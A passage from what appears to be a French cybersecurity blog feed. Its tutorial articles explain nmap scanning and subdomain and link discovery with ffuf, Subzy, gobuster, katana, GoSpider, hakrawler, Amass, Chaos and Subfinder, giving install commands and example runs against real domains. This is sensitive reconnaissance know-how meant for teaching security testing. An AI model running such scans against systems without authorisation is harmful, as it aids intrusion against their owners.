<li><p>Cette commande exécute un scan de découverte réseau aussi appelé ping scan. Elle scanne toute les adresses dans la plage 192.168.1.1 à 192.168.1.254.</p>
</li>
<li><p>L’option <code>-sn</code> indique à nmap de ne pas effectuer de scan de ports, mais vérifie simplement les hôtes actifs sur le réseau</p>
</li>
</ul>
</li>
<li><p><code>nmap -sS -sV -O --script vuln [IP_ADRESS]</code></p>
<ul>
<li><p>l’option <code>-sS</code> effectue un scan SYN rapide et discret. Il n’établit pas de connexion complète avec la cible,ce qui rend l’analyse moins visible par des sytèmes de détection par exemple.</p>
</li>
<li><p>l’option <code>-sV</code> permet de détecter les versions des services en cours sur les ports ouverts sur la machine</p>
</li>
<li><p>l’option <code>-O</code> permet de déterminer le système d’exploitation de la cible</p>
</li>
<li><p>l’option <code>--script vuln</code> exécute des scripts qui permettent de détecter les vulnérabilités connues sur la cible.</p>
</li>
</ul>
</li>
<li><p><code>nmap -T4 -sC -p 80,21 [IP_ADRESS]</code></p>
<ul>
<li><p>l’option <code>-T4</code> permet de définir le niveau d'agressivité du scan et va de -T0 à T5. Cela permet de définir la vitesse d’exécution du scan, ce qui peut la rendre plus rapide, mais aussi détectable par des systèmes de détection</p>
</li>
<li><p>l’option <code>-sC</code> exécute les scripts par défaut de nmap via le Nmap Scripting Engine (NSE) pour la détection de versions et la recherche de vulnérabilités.</p>
</li>
<li><p>l’option <code>-p</code> spécifie les ports à scanner</p>
</li>
</ul>
</li>
</ul>
<p>Voici un document qui détaille toutes les options de nmap : <a target="_blank" href="https://cdn.comparitech.com/wp-content/uploads/2019/06/Nmap-Cheat-Sheet.pdf">Nmap-Cheat-Sheet.pdf</a></p>
<pre><code class="lang-plaintext">nmap -T4 -sC -sV 10.192.160.244
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733153445393/a81339b2-9939-4b0d-9dde-3fde98a041fc.png" alt class="image--center mx-auto" /></p>
<p>La commande suivante utilise l’outil nmap pour une analyse sur l’adresse 10.192.160.244. On voit donc que 4 ports TCP ont été trouvés ainsi que des services ssh, dnsmasq et http.</p>
<p><mark>À noter, qu’il est important de rappeler que l'utilisation de ces outils doit toujours se faire dans un cadre légal.</mark></p>
]]></content:encoded></item><item><title><![CDATA[Brute Force sur les sous-domaines]]></title><description><![CDATA[Le brute-force de sous-domaines est une méthode utilisée pour découvrir des sous-domaines associés à un domaine principal. Elle consiste à essayer une liste de mots pour évaluer des sous-domaines potentiels afin de vérifier leur réel existence. Ces s...]]></description><link>https://blog.fikara.io/brute-force-sur-les-sous-domaines</link><guid isPermaLink="true">https://blog.fikara.io/brute-force-sur-les-sous-domaines</guid><category><![CDATA[subzy]]></category><category><![CDATA[ammas]]></category><category><![CDATA[bruteforcing]]></category><category><![CDATA[bruteforceattack]]></category><category><![CDATA[Subdomain takeover]]></category><category><![CDATA[subdomains]]></category><category><![CDATA[ffuf]]></category><category><![CDATA[fastfuzzer]]></category><category><![CDATA[gobuster]]></category><category><![CDATA[OneForAll]]></category><category><![CDATA[fastfuzzing]]></category><category><![CDATA[2Articles1Week]]></category><category><![CDATA[Hashnode]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Tue, 03 Dec 2024 05:00:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/zGuBURGGmdY/upload/f18c0e2a8920fdbbedc764691c495314.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Le brute-force de sous-domaines est une méthode utilisée pour découvrir des sous-domaines associés à un domaine principal. Elle consiste à essayer une liste de mots pour évaluer des sous-domaines potentiels afin de vérifier leur réel existence. Ces sous-domaines peuvent parfois révéler des services, des applications vulnérables. Nous décrirons quelques outils utilisés pour cette technique.</p>
<h2 id="heading-ffuf">Ffuf</h2>
<p>Fast fuzzer (ffuf) est un outil outil open-source de fuzzing et de force brute, écrit en langage Go, utilisé pour découvrir des ressources web telles que des fichiers, des répertoires, et des sous-domaines. Le fuzzing est une méthode qui consiste à envoyer des données aléatoires, mal formées ou anormales à un système pour tester ses réponses, ce qui pourrait conduire à la découverte de vulnérabilités.</p>
<p>Un article décrivant l’outil ffuf au complet est disponible <a target="_blank" href="https://blog.fikara.io/ffuf-fast-fuzzer">ici</a>. Dans ce présent article, nous décrirons juste son utilisation dans le brute force de sous-domaines pour découvrir des sous-domaines associés à un domaine principal</p>
<p>La documentation officielle de ffuf se retrouve sur <a target="_blank" href="https://github.com/ffuf/ffuf">GitHub</a>.</p>
<p>Pour installer ffuf, utilisez la commande suivante:</p>
<pre><code class="lang-python">git clone https://github.com/ffuf/ffuf
cd ffuf
go get
go build
<span class="hljs-comment">#La commande suivante rend ffuf disponible depuis nimporte quelle répertoire</span>
sudo ln -s ~/go/bin/ffuf /usr/sbin/ffuf
</code></pre>
<h3 id="heading-options">Options</h3>
<ul>
<li><p><code>ffuf -h</code> : l’option <code>-h</code> permet de lister toutes les options de ffuf</p>
</li>
<li><p><code>ffuf -u http://FUZZ.site.com -w [wordlists/common.txt]</code></p>
<ul>
<li><p>l’option <code>-u</code> permet de spécifier l’URL à analyser. Cette option est obligatoire. La commande remplacera le terme “FUZZ“ dans l’URL par chaque mot de la liste et envoie une requête http à cette URL. Le paramètre FUZZ est placé ici, avant le domaine principal indiquant l’endroit où ffuf remplacera chaque mot de la liste pour tester des sous-domaines. Cela permettra donc de découvrir les sous-domaines potentiels.</p>
</li>
<li><p>l’option <code>-w</code> spécifie le chemin du fichier contenant la liste de mots à utiliser pour le fuzzing (option obligatoire)</p>
</li>
<li><p>Chaque requête envoyée retournera donc un statut http de la réponse. En fonction de ce que l’on cherche à découvrir, un statut peut avoir une interprétation différente. Si par exemple on veut accéder à une page qui n’existe pas, mais on obtient un statut 200, cela indique une faille ou une mauvaise configuration.</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731252109970/06675534-cfb2-4db3-af33-17aa25438797.png" alt class="image--center mx-auto" /></p>
<p>Avec cette requête, on obtient un statut 200 qui indique donc que le chemin <code>http://ffuf.me/cd/basic/class</code> existe sur le serveur. Le fichier <code>development.log</code> existe aussi sur ce même serveur.</p>
<h2 id="heading-subzy">Subzy</h2>
<p>Subzy est un outil utilisé pour détecter et prendre le contrôle (subdomain takeover) de sous-domaines vulnérables. Il s’utilise généralement lorsque des sous-domaines pointent vers des services inactifs ou mal configurés, favorisant ainsi une exploitation. Cet outil vérifie les sous-domaines pour voir s’ils sont configurés pour des services ne sont plus en usage.</p>
<p>Une documentation officielle se retrouve sur <a target="_blank" href="https://github.com/PentestPad/subzy">GitHub</a>.</p>
<p>Pour installer Subzy, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install -v github.com/PentestPad/subzy@latest
</code></pre>
<h3 id="heading-options-1">Options</h3>
<ul>
<li><p><code>subzy -h</code> : l’option <code>-h</code> permet de voir la liste de toutes les options de Subzy</p>
</li>
<li><p><code>subzy run -h</code>: affiche les détails de la commande run de Subzy, qui détaille les options disponibles pour exécuter des vérifications de sous-domaines.</p>
</li>
<li><p><code>subzy run --target [URL] --output [STRING] --https</code></p>
<ul>
<li><p>l’option <code>--target</code> permet de spécifier un ou plusieurs domaines, séparés par une virgule.</p>
</li>
<li><p>l’option <code>--output</code> spécifie un fichier de sortie en format JSON des résultats</p>
</li>
<li><p>l’option <code>--https</code> force l’utilisation du protocole https pour les requêtes. Il est désactivé par défaut. Cela signifie que si un sous-domaine est spécifié sans protocole http://site.com, il sera testé avec https://site.com.</p>
</li>
</ul>
</li>
<li><p><code>subzy run --targets [PATH/TO/FILE] --hide_fails --verify_ssl</code></p>
<ul>
<li><p>l’option <code>--targets</code> permet de spécifier un fichier contenant une liste de sous-domaines à tester.</p>
</li>
<li><p>l’option <code>--hide_fails</code> permet de masquer les résultats échoués. Seuls ceux qui réussissent (vulnérables) sont affichés.</p>
</li>
<li><p>l’option <code>--verify_ssl</code> permet de ne pas vérifier les sites avec des certificats SSL non sécurisés</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731262469407/ff0098b7-8d82-43e0-b1ca-2880b3a6032a.png" alt class="image--center mx-auto" /></p>
<p>Le message [NOT VULNERABLE] indique que les sous-domaines <code>00.paydiant.com</code> et <code>11.paydiant.com</code> ne sont pas vulnérables à une prise de contrôle avec l’outil Subzy.</p>
<h2 id="heading-gobuster">Gobuster</h2>
<p>Gobuster est outil écrit en langage Go utilisé pour le brute-force de répertoires et de sous-domaines. L’outil utlilise des listes mots qui peuvent être personnalisées afin de découvrir des sous-domaines cachés ou non référencés publiquement d'un domaine cible. Cet outil se distingue par sa rapidité par rapport aux autres outils.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/OJ/gobuster">GitHub</a>.</p>
<p>Pour installer Gobuster, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install github.com/OJ/gobuster/v3@latest
</code></pre>
<h3 id="heading-options-2">Options</h3>
<ul>
<li><p><code>gobuster -h</code> permet de lister toutes les options de Gobuster</p>
</li>
<li><p>Il existe plusieurs modes pour utiliser l’outil gobuster</p>
</li>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731958801554/f6c62b0b-ad71-49d1-b5c7-757620170b93.png" alt class="image--center mx-auto" /></p>
</li>
<li><ul>
<li><p><code>dns</code> pour énumérer des sous-domaines DNS pour identifier des sous-domaines d'un domaine.</p>
<ul>
<li><p><code>dir</code> énumère les répertoires/fichiers pour découvrir des chemins sur un serveur web.</p>
</li>
<li><p><code>fuzz</code> utilise le fuzzing sur les URLs en remplaçant le mot-clé FUZZ dans l'URL, les en-têtes et le corps de la requête pour tester différentes entrées.</p>
</li>
<li><p><code>tftp</code> utilise l’énumération des serveurs TFTP (Trivial File Transfer Protocol)</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><code>gobuster [MODE] -h</code> permet de lister les options de chaque mode</p>
</li>
<li><p><code>gobuster dir -u http://site.com -t 7 -w /PATH/TO/FILE -x php,html</code></p>
<ul>
<li><p>l’option <code>dir</code> indique le mode utilisé, l’énumération de répertoires/fichiers</p>
</li>
<li><p>l’option <code>-u</code> spécifie l’URL cible</p>
</li>
<li><p>l’option <code>-t</code> permet de définir le nombre de threads à utiliser pour rendre l'exploration plus rapide.</p>
</li>
<li><p>l’option <code>-x</code> indique à l’outil d’explorer uniquement les répertoires avec les extensions spécifiées</p>
</li>
<li><p>l’option <code>-w</code> spécifie le chemin vers la liste de mots à utiliser.</p>
</li>
</ul>
</li>
<li><p><code>gobuster dns -d site.com -q -w /PATH/TO/FILE -i</code></p>
<ul>
<li><p>l’option <code>dns</code> indique qu’il s’agit d’un brute force de sous-domaines</p>
</li>
<li><p>l’option <code>-d</code> spécifie le domaine cible</p>
</li>
<li><p>l’option <code>-q</code> active le mode silencieux pour réduire la sortie à l’écran et l’information inutile</p>
</li>
<li><p>l’option <code>-i</code> permet d’afficher les adresses IPs</p>
</li>
</ul>
</li>
</ul>
<p>En exécutant la commande <code>gobuster dns hackerone.com -i -w common.txt</code>, on voit que plusieurs sous-domaines ont été trouvés, avec des adresses IPs associées. La liste de mots a été utilisée pour tester les sous-domaines potentiels. Chaque entrée est ajoutée à hackerone.com pour vérifier si le sous-domaine existe.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731961584716/51e728d6-b146-4587-af3f-0fe49b2de0b6.png" alt class="image--center mx-auto" /></p>
<p>La commande <code>gobuster fuzz -u https://hackerone.com/FUZZ -w common.txt</code> utilise le mode fuzzing pour tester différentes entrées sur le site spécifié. Le paramètre FUZZ sera remplacé par les mots de la liste fournie. On voit que les certaines ressources demandées n’ont pas été trouvées sur le serveur qui a répondu avec un statut d’erreur 404.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731977984744/547e2ff2-9054-476b-bb16-360b41f13431.png" alt class="image--center mx-auto" /></p>
<p>On pourrait donc essayer de filtrer les résultats et ignorer le statut 404 avec l’option <code>-b</code> ou <code>--excludestatuscodes</code> .</p>
<p>Plusieurs autres outils peuvent être utilisés dans ce cas, comme <a target="_blank" href="https://blog.fikara.io/recherche-de-sous-domaines#heading-sublist3r">Sublist3r</a>, <a target="_blank" href="https://blog.fikara.io/recherche-de-sous-domaines#heading-subfinder">Subfinder</a>, <a target="_blank" href="https://blog.fikara.io/recherche-de-sous-domaines#heading-amass">Ammas</a> et surtout <a target="_blank" href="https://blog.fikara.io/oneforall">OneForAll</a>.</p>
<p><mark>À noter, qu’il est important de rappeler que l'utilisation de cet outil doit toujours se faire dans un cadre légal.</mark></p>
]]></content:encoded></item><item><title><![CDATA[Links Discovery]]></title><description><![CDATA[Le Links Discovery ou la découverte de liens est un processus qui consiste à explorer et à extraire des liens et des ressources d’un site web pour obtenir des informations sur une cible. Il permet d’identifier la structure des pages et les relations ...]]></description><link>https://blog.fikara.io/links-discovery</link><guid isPermaLink="true">https://blog.fikara.io/links-discovery</guid><category><![CDATA[linksdiscovery]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[katana]]></category><category><![CDATA[gospider]]></category><category><![CDATA[hakrawler]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Fri, 29 Nov 2024 05:00:37 GMT</pubDate><content:encoded><![CDATA[<p>Le Links Discovery ou la découverte de liens est un processus qui consiste à explorer et à extraire des liens et des ressources d’un site web pour obtenir des informations sur une cible. Il permet d’identifier la structure des pages et les relations entre elles pour mieux comprendre comment un site est construit. On peut aussi y ressortir les sous-domaines et d’autres ressources cachées ou moins visibles.</p>
<h2 id="heading-katana">Katana</h2>
<p>Katana est un outil d’exploration de sites web, écrit en Go, dévéloppé par <a target="_blank" href="https://projectdiscovery.io/"><strong>Project Discovery</strong></a>. Il permet aussi d’analyser des sites web, d’y extraire des ressources cachées et identifer des vulnérabilitées potentielles.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/projectdiscovery/katana"><strong>GitHub</strong></a>.</p>
<p>Pour installer Katana, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install github.com/projectdiscovery/katana/cmd/katana@latest
</code></pre>
<h3 id="heading-options">Options</h3>
<ul>
<li><p><code>katana -h</code> : cette option liste toutes les options de katana</p>
</li>
<li><p><code>katana -u [site.com] -d [INT] -e "STRING" -rl [INT] -o [results.json]</code></p>
<ul>
<li><p>l’option <code>-u</code> définit le site ou l’URL à analyser</p>
</li>
<li><p>l’option <code>-d</code> définit la profondeur d’exploration à partir du lien spécifié</p>
</li>
<li><p>l’option <code>-e</code> exclut divers éléments correspondants à la chaîne de caractère spécifiée. Cela peut être des chemins, des adresses IP, des sous-domaines etc.</p>
</li>
<li><p>l’option <code>-rl</code> fixe un nombre maximal de requêtes par secondes (150 par défaut)</p>
</li>
</ul>
</li>
<li><p><code>cat file.txt | katana -jc -noi</code></p>
<ul>
<li><p><code>cat</code> permet de lire un fichier qui contient une liste d’URLs (une par ligne) à explorer</p>
</li>
<li><p>l’option <code>-jc</code> active l’analyse des fichiers JavaScript</p>
</li>
<li><p>l’option <code>-noi</code> pour no incognito désactive le mode incognito, ce qui permet de conserver l'historique de navigation pendant l'exploration</p>
</li>
</ul>
</li>
</ul>
<p>Toute la documentation et les options sont disponibles sur <a target="_blank" href="https://github.com/projectdiscovery/katana?tab=readme-ov-file#running-katana"><strong>Github</strong></a>.</p>
<p>La photo ci-dessous montre une exécution de l’outil. Elle explorera le site <code>http://youtube.com</code>, à une profondeur de 3, exclura les chemins contenant <code>/login</code>, active l’analyse des fichiers JavaScript, et enregistrera les résultats dans un fichier.</p>
<p>On voit donc que des liens et fichiers JavaScript sont bien extraits.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731955773836/5ddf7f29-40c0-4352-87e4-1e7f48f49b29.png" alt /></p>
<h2 id="heading-gospider">GoSpider</h2>
<p>GoSpider est un outil de reconnaissance écrit en lang<a target="_blank" href="https://github.com/projectdiscovery/katana?tab=readme-ov-file#running-katana">age Go</a>, pour crawler ou extraire des données d’un site Web. Un crawler ou robot d’exploration est un programme ou un script automatisé destiné à collecter des informations sur des sites internet. GoSpider peut être utilisé lors de la reconnaissance pour identifier des liens, des ressources, des fichiers en lien avec un site spécifique.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/jaeles-project/gospider"><strong>GitHub</strong>.</a></p>
<p>Pour installer GoSpider, utilisez la commande suivante:</p>
<pre><code class="lang-python">go get -u github.com/jaeles-project/gospider
</code></pre>
<h3 id="heading-options-1">Options</h3>
<ul>
<li><p><code>gospider -h</code> : l’option <code>-h</code> permet de voir la liste de toute les options de GoSpider</p>
</li>
<li><p><code>gospider -s [site.com/URL] -c [INT] -o [resultat.txt/.json]</code></p>
<ul>
<li><p>l’option <code>-s</code> spécifie l’URL ou le site à analyser;</p>
</li>
<li><p>l’option <code>-c</code> définit le nombre maximal de requêtes simultanées lors de l’exploration du site (par défaut, il est fixé à 5);</p>
</li>
<li><p>l’option <code>-o</code> enregistre les résultats dans un fichier;</p>
</li>
</ul>
</li>
<li><p><code>gospider -S [sites] -q --blacklist [ ] -d [INT]</code></p>
<ul>
<li><p>l’option <code>-S</code> spécifie une fichier texte contenant les URLS de sites à analyser;</p>
</li>
<li><p>l’option <code>-q</code> rend l’analyse plus concise et désactive les logs détaillés;</p>
</li>
<li><p>l’option <code>--blacklist</code> permet d’exclure (blacklister) soit des extensions, des types de fichiers lors de l’analyse.</p>
</li>
<li><p>l’option <code>-d</code> définit la profondeur de lien à explorer lors du crawl. Cela signique qu’il explore d’abord l’URL initiale, ensuite les liens trouvés sur cette page, et ensuite les liens sur ces pages, et ainsi de suite. Il est fixé à 1 par défaut.</p>
</li>
</ul>
</li>
</ul>
<p>En parcourant la liste des options, vous aurez accès aux différentes manières d’utiliser GoSpider.</p>
<h2 id="heading-hakrawler">Hakrawler</h2>
<p>Hakrawler est aussi un outil de reconnaissance utilisé pour explorer des sites web et extraire des informations comme des liens, des formulaires et des emplacements de fichiers . Aussi écrit en langage Go, il est utilisé lors de la phase de reconnaissance lors des tests de sécurité.<br />La documentation officielle est disponible sur <a target="_blank" href="https://github.com/hakluke/hakrawler"><strong>GitHub</strong></a>.</p>
<p>Pour installer Hakrawler, utilisez la commande suivante:</p>
<pre><code class="lang-python">go get -u github.com/hakluke/hakrawler
</code></pre>
<h3 id="heading-options-2">Options</h3>
<ul>
<li><p><code>hakrawler -h</code> : cette option affiche toutes les options de hackrawler</p>
</li>
<li><p><code>echo [URL] | hakrawler -t [INT] -d [INT] -t [INT] | grep "STRING"</code></p>
<ul>
<li><p>la commande <code>echo</code> envoie l’URL en tant qu’entrée à Hakrawler via le pipe <code>|</code></p>
</li>
<li><p>l’option <code>-t</code> pour threads, définit le nombre de requêtes simultanées pour accélerer l’exploration. Cela permet de crawler plusieurs pages à la fois</p>
</li>
<li><p>l’option <code>-d</code> définit la profondeur du crawl</p>
</li>
<li><p>l’option <code>-t</code> fixe le délai dattente pour chaque requête. Passé ce délai, la requête d’exploration est abandonnée si elle ne recoit aucune réponse</p>
</li>
<li><p>l’option <code>grep</code> filtre les résultats du hakrawler selon le string défini</p>
</li>
</ul>
</li>
<li><p><code>cat sites.txt | hakrawler -subs -json</code></p>
<ul>
<li><p>le contenu du fichier “sites.txt” est lu (une URL par ligne) et redirigé à Hakrawler via le symbole pipe <code>|</code></p>
</li>
<li><p>l’option <code>-subs</code> indique qu’il faut analyser aussi les sous-domaines liés à chaque url dans le fichier</p>
</li>
<li><p>l’option <code>-json</code> retourne les résultats en format JSON</p>
</li>
</ul>
</li>
</ul>
<p>La photo ci-dessous montre une exécution de l’outil. La commande explore le site avec une profondeur d'exploration de 2 niveaux, incluant les sous-domaines et affiche les résultats en format JSON</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731956445243/c55b4f64-2543-4466-97f6-778f3b698333.png" alt class="image--center mx-auto" /></p>
<p>Ces outils sont complémentaires dans l’exploration et l'analyse de sites web dans le cadre de la reconnaissance. Ils permettent de découvrir des liens, des fichiers et des ressources cachées qui peuvent être utiles pour identifier des vulnérabilités</p>
<p><mark>À noter, qu’il est important de rappeler que l'utilisation de ces outils doit toujours se faire dans un cadre légal.</mark></p>
]]></content:encoded></item><item><title><![CDATA[Recherche de sous-domaines]]></title><description><![CDATA[La recherche de sous-domaines permet d’identifier les sous-domaines rattachés à un domaine principal qui pourraient être vulnérables, et donc des points d’entrée pour des services mal configurés. Le fait de découvrir les sous-domaines permet donc rec...]]></description><link>https://blog.fikara.io/recherche-de-sous-domaines</link><guid isPermaLink="true">https://blog.fikara.io/recherche-de-sous-domaines</guid><category><![CDATA[subdomain discovery]]></category><category><![CDATA[assetfinder]]></category><category><![CDATA[amass]]></category><category><![CDATA[Sublist3r ]]></category><category><![CDATA[subdomains]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[subdomain enumeration]]></category><category><![CDATA[subfinder]]></category><category><![CDATA[2Articles1Week]]></category><category><![CDATA[Hashnode]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Tue, 26 Nov 2024 05:00:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/4vBN9dMCip0/upload/8cd10929b076bb06310adf408ec01b0b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>La recherche de sous-domaines permet d’identifier les sous-domaines rattachés à un domaine principal qui pourraient être vulnérables, et donc des points d’entrée pour des services mal configurés. Le fait de découvrir les sous-domaines permet donc recueillir des informations sur les technologies et configurations utilisées.</p>
<h2 id="heading-crtsh">Crt.sh</h2>
<p><a target="_blank" href="http://Crt.sh"><strong>Crt.sh</strong></a> est un outil en ligne qui permet de rechercher et de consulter des certificats SSL/TLS pour divers domaines. Il peut aussi bien être utilisé pour trouver des sous-domaines. En recherchant un domaine principal, on peut voir les certificats associés, mais aussi ceux émis pour ses sous-domaines. Les recherches peuvent donc se poursuivre avec ces sous-domaines avec d’autres outils.</p>
<h2 id="heading-virus-total">Virus Total</h2>
<p><a target="_blank" href="https://www.virustotal.com/gui/">VirusTotal</a> est un outil en ligne qui permet d’analyser des fichiers, des URLs afin de détecter de potentiels virus. Il effectue une analyse complète en utilisant plusieurs moteurs antivirus et outils de détections d’URLs. Il peut aussi être utilisé pour rechercher des sous-domaines et d’autres informations.</p>
<p>Les sous-domaines associés à la recherche seront listés dans l’onglet Relations. La photo ci-dessous montre une liste de sous domaines associés à Amazon.ca.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730480512189/389d5154-f775-4c5b-bbdc-36b533f0b940.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-amass">Amass</h2>
<p>Amass est un outil développé par l'OWASP (Open Web Application Security Project) qui est aussi utilisé pour l’identification de sous-domaines et des adresses IP associées en utilisant des sources publiques commes des APIs, des certificats SSL, des DNS etc.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/owasp-amass/amass"><strong>GitHub</strong></a>.</p>
<p>Pour installer Amass, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install -v github.com/owasp-amass/amass/v4/...@master
</code></pre>
<h3 id="heading-options">Options</h3>
<ul>
<li><p><code>amass enum</code> : ce mode est utilisé pour l’énumération des sous-domaines en utilisant des sources publiques et des techniques de reconnaissance active.</p>
</li>
<li><p><code>amass intel</code>: ce mode est utilisé pour découvrir des domaines et d'autres actifs qui peuvent être explorés plus en détail lors du processus d'énumération</p>
</li>
<li><p><code>amass enum -d website.com -active -brute -aw /PATH -bl “word“</code></p>
<ul>
<li><p>l’option <code>-d</code> spécifie le domaine dont on veut énumérer les sous-domaines</p>
</li>
<li><p>l’option <code>-active</code> permet de découvrir des sous-domaines actifs</p>
</li>
<li><p>l’option <code>-aw</code> permet de spécifier un fichier de liste de mots qui sera utilisé pour les altérations des noms des sous-domaines. Cela permet de modifier dynamiquement les sous-domaines en ajoutant des termes dans les noms des sous-domaines non visibles dans les résultats de DNS standards.</p>
</li>
<li><p>l’option <code>-bl</code> permet de spécifier des domaines à exclure de la recherche</p>
</li>
</ul>
</li>
</ul>
<p>L’image ci-dessous montre la commande amass utilisée, qui a découvert plusieurs informations dont des enregistrements MX, A, AAAA et plusieurs autres sous-domaines. On y retrouve aussi des informations ASN de CloudFlare, qui gère probablement les adresses IP de ces sous-domaines là.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731637967194/67052a86-6ebd-4ee1-a971-5c194d1e4753.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-chaos-projectdiscovery">Chaos projectdiscovery</h2>
<p><a target="_blank" href="https://chaos.projectdiscovery.io/">Chaos</a> est un projet de ProjectDiscovery qui fournit des informations sur les sous-domaines. Il dispose d’une base données avec un grand nombre de sous-domaines pour les domaines publics, mis à jour régulièrement.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730732080367/c021ae5b-7ed5-4b7e-9faf-541409009056.png" alt class="image--center mx-auto" /></p>
<p>Il suffit donc de télécharger le fichier .zip et on obtient une liste de sous-domaines associés au terme ou au domaine dans la recherche.</p>
<p>Chaos ProjectDiscovery est un projet open-source et peut être aussi utilisé via <a target="_blank" href="https://github.com/projectdiscovery/chaos-client">GitHub</a>. L’utilisation de cet outil avec l’API en ligne de commande est beaucoup plus flexible et puissante en terme de recherches. En utilisant l’outil en ligne de commande, on obtient une liste plus complète, contrairement à la version web où l’utilisation peut ne retourner aucun résultat pour certains domaines</p>
<p>Pour l’installer, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install -v github.com/projectdiscovery/chaos-client/cmd/chaos@latest
</code></pre>
<h3 id="heading-options-1">Options</h3>
<ul>
<li><p><code>chaos -h</code> : cette option liste toutes les options de Chaos ProjectDiscovery</p>
</li>
<li><p><code>export PDCP_API_KEY=[API_ KEY]</code></p>
<ul>
<li><p>cette option permet de spécifier la clé API qui peut être obtenue simplement en s’inscrivant sur le site</p>
</li>
<li><p>la clé API doit être spécifiée obligatoirement pour l’utilisation en ligne de commande</p>
</li>
</ul>
</li>
<li><p><code>chaos -d [site.com] -count -o list.txt</code></p>
<ul>
<li><p>l’option <code>-d</code> spécifie le domaine à analyser</p>
</li>
<li><p>l’option <code>-count</code> affiche le nombre de sous-domaines sans les lister</p>
</li>
<li><p>l’option <code>-o</code> spécifie un fichier (ici list.txt) pour stocker la sortie</p>
</li>
</ul>
</li>
<li><p><code>chaos -dL [list_domains.txt] -json | grep [STRING] &gt; list.txt</code></p>
<ul>
<li><p>l’option <code>-dL</code> spécifie un fichier contenant une liste de domaines à analyser</p>
</li>
<li><p>l’option <code>-json</code> affiche la sortie en format JSON</p>
</li>
<li><p>l’option <code>grep</code> filtre les résultats de la recherche selon le string défini et les enregistre dans le fichier list.txt</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730734621204/84dc8d3e-161e-4467-a504-ea6e0b66b14b.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-subfinder">Subfinder</h2>
<p>Subfinder est outil d’énumération de sous-domaines écrit en langage Go, développé par <a target="_blank" href="https://projectdiscovery.io/">ProjectDiscovery</a>. Il est utilisé pour effectuer une énumération passive des sous-domaines d’un domaine cible, c’est-à-dire, qu'il utilise des sources en ligne publiques pour identifier les sous-domaines sans interagir directement avec les serveurs cibles. Il utilise des sources comme Censys, Chaos, Recon.dev, Shodan, Spyse, Virustotal etc.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/projectdiscovery/subfinder">GitHub</a>.</p>
<p>Pour installer Subfinder, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
</code></pre>
<h3 id="heading-options-2">Options</h3>
<ul>
<li><p><code>subfinder -h</code> : l’option <code>-h</code> permet de lister toutes les options de subfinder</p>
</li>
<li><p><code>subfinder -ls</code>: l'option <code>-ls</code> permet de lister toutes les sources de données possibles</p>
</li>
<li><p><code>subfinder -d [site.com] -all -json -cs -o [list.txt]</code></p>
<ul>
<li><p>l’option <code>-d</code> spécifie le domaine à analyser</p>
</li>
<li><p>l’option <code>-all</code> permet d’utiliser toutes les sources pour l’énumération.</p>
</li>
<li><p>l’option <code>-json</code> affiche la sortie en format JSON</p>
</li>
<li><p>l’option <code>-cs</code> permet d’afficher la source dans le résultat de la commande</p>
</li>
<li><p>l’option <code>-o</code> enregistre les résultats dans un fichier</p>
</li>
</ul>
</li>
</ul>
<p>Ici, on analyse le domaine hackerone.com en affichant les sources de chaque sous-domaine avec l’option <code>-cs</code>, et en excluant les sources du serveur google 8.8.8.8 avec l’option <code>-es</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730743484088/7cbc99d4-ff88-444c-81e0-26a35f294ebf.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p><code>subfinder -dL [list_domains.txt] -s/-es [SOURCES] -rl [INT]</code></p>
<ul>
<li><p>l’option <code>-dL</code> spécifie un fichier contenant une liste de domaines à analyser</p>
</li>
<li><p>l’option <code>-s</code> spécifie les sources à utiliser lors de la recherche</p>
</li>
<li><p>l’option <code>-es</code> exclut les sources lors de la recherche</p>
</li>
<li><p>l’option <code>-rl</code> détermine le nombre de requêtes https par secondes. Cela limite et évite la surcharge</p>
</li>
</ul>
</li>
<li><p><code>subfinder -d hackerone.com --active -oI</code></p>
<ul>
